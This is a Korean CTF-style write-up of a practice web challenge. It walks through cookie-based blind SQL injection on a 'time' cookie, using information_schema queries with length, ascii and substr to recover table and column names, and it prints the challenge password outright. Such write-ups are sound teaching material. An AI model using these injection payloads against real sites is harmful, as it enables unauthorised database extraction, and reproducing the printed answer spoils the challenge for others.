첫 화면

 

페이지 소스보기

페이지 소스보기를 통해 현재 시간이 주석처리 되어있다는 것과, admin.php 페이지가 있다는 것을 알 수 있었다.

 

 

~/admin.php 화면

admin.php 화면에서는 password를 입력하는 창이 나온다.

아마도 여기에 정답을 입력하는 것 같았다.

많은 값을 넣었을 때 'wrong password'라는 팝업창이 떴고 아무런 힌트가 될 만 한것들이 없었다.

 

 

cookie 값 확인

cookie 값을 확인해보았다.

Time이라는 이름의 cookie가 있었고, 해당 값이 들어가있다는 것이 확인되었다.

 

 

cookie 값을 변경해보았다.

1로 변경
결과

time 값을 1로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:00:01 로 바뀌는 것을 볼 수 있었다.

100으로 변경
결과

time 값을 100으로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:01:40 로 바뀌는 것을 볼 수 있었다.

이를 통해 time 쿠키 값이 저 날짜의 초 단위로 변경되어 들어간다는 것을 알 수 있었고,

여기에 SQL 공격을 통해 이 문제에 대한 힌트를 얻어야겠다고 생각했다.

 

최종적으로 Password를 구해야하므로 이 서버의 데이터베이스를 건드려보자는 생각이 들었다.

 


① 우선 데이터베이스 내에 몇 개의 테이블이 존재하는지 확인하기 위해 count 명령어를 사용한다.

 

time = (select count(table_name) from information_schema.tables where table_schema=database());

--> information_schema.tables에서 table_schema가 database() 인 table_name의 개수를 출력하라

 

※ INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용이며, 단순히 조회만 가능하다. 즉, 읽기전용(Read-only)으로 사용자가 직접 수정하거나 관여할 수는 없다.

 

위 쿼리를 time 쿠키에 넣은 결과

09:00:02 이므로 테이블 개수는 2개임을 알 수 있다.

 

 

② 전체 두 개의 테이블 중 첫 번째 테이블의 이름 길이를 확인하기 위해 length와 limit 명령어를 사용한다.

time = (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1);

# limit 0,1 = 첫 번째 부터 1개 

 

첫 번째 테이블 명 길이

09:00:13 이므로 첫 번째 테이블 명의 길이는 13임을 알 수 있다.

 

 

③ 같은 방법으로 두 번째 테이블 명의 길이를 확인해본다.

time = (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1);

 

두 번째 테이블 명 길이

09:00:03 이므로 두 번째 테이블 명의 길이는 3임을 알 수 있다.

 

 

④ 이제 길이를 알았으니 첫 번째 테이블부터 이름을 유추해볼 것이다.

첫 번째 테이블의 이름을 확인하기 위해 ascii와 substr 명령어를 사용한다.

 

time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1);

 

+) substr = 문자열 일부 추출

substr(store_name, 3) : 3번째 자리의 값부터 추출

→ substr(store_name, 2, 4) : 2번째 자리의 값부터 4개의 값 추출

 

+) ascii = 받은 인자값을 아스키 코드값으로 변환해주는 함수

 

 

첫 번째 테이블의 첫 번째 아스키 값

09:01:37이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'a' 임을 유추할 수 있다.

(10진수 97 → 아스키 값 'a')

 

동일한 방식으로 (table_name, 1~13, 1)으로 확인한 결과

첫 번째 테이블 이름은 admin_area_pw 임을 알게 되었다.

 

 

⑤ 이제 두 번째 테이블의 이름을 확인해본다. 3글자니까 빠르게 끝날 것이다.

 

time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1);

 

두 번째 테이블의 첫 번째 아스키 값

09:01:48이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'l' 임을 유추할 수 있다.

(10진수 108 → 아스키 값 'l')

 

동일한 방식으로 (table_name, 1~3, 1)으로 확인한 결과

두 번째 테이블 이름은 log임을 알게 되었다.

 

 

⑥ 이제 첫 번째 테이블(admin_area_pw) 테이블에서 컬럼이 몇 개인지 확인한다.

time=(select count(column_name) from information_schema.columns where table_name="admin_area_pw");

 

첫 번째 테이블의 컬럼 개수

09:00:01 이므로 컬럼 개수는 1개임을 알 수 있다.

 

⑦ 컬럼의 문자열 길이를 확인한다.

time=(select length(column_name) from information_schema.columns where table_name="admin_area_pw");

 

첫 번째 테이블의 컬럼이름의 길이

09:00:02 이므로 컬럼명은 2글자임을 알 수 있다.

 

⑧ 컬럼의 첫 번째 문자열을 확인한다.

time=(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw");

 

컬럼의 첫번째 글자

09:01:52이므로 첫 번째 테이블의 컬럼명의 첫 번째 글자는 'p' 임을 유추할 수 있다.

(10진수 112 → 아스키 값 'p')

 

위와 같은 방법으로 두 번째 문자열을 확인한 결과, 'w' 였다.

즉, 'admin_area_pw' 테이블의 컬럼은 하나 존재하며, 그 컬럼의 이름은 'pw'이다. 라는 것 까지 유추해 낸 것이다.

 

 

 

해당 컬럼 안에 답이 있을 거라는 생각에

⑨ 컬럼의 내용을 확인하기 위해 먼저 문자열 길이를 확인한다. (length 이용)

time=(select length(pw) from admin_area_pw);

 

pw 길이

09:00:17 이므로 pw(정답)는 17글자임을 알 수 있다.

17글자나 되네..

 

 

⑩ 본격적으로 정답을 위해 pw 컬럼의 내의 문자열을 확인한다.

time=(select ascii(substr(pw,1,1)) from admin_area_pw);

 

pw 첫 번째 아스키코드 값

09:01:47이므로 pw의 첫 번째 글자는 'k' 임을 유추할 수 있다.

(10진수 107 → 아스키 값 'k')

 

동일한 방식으로 (pw, 1~17, 1)으로 확인한 결과

pw의 내용은 kudos_to_beistlab 임을 알게 되었다.

 

성공..

 

문제 풀이 후 느낀점

1. 코드를 짜는 연습을 해야겠다.

2. 데이터베이스 접근법을 알게되어 신기했다.

 

+ Recent posts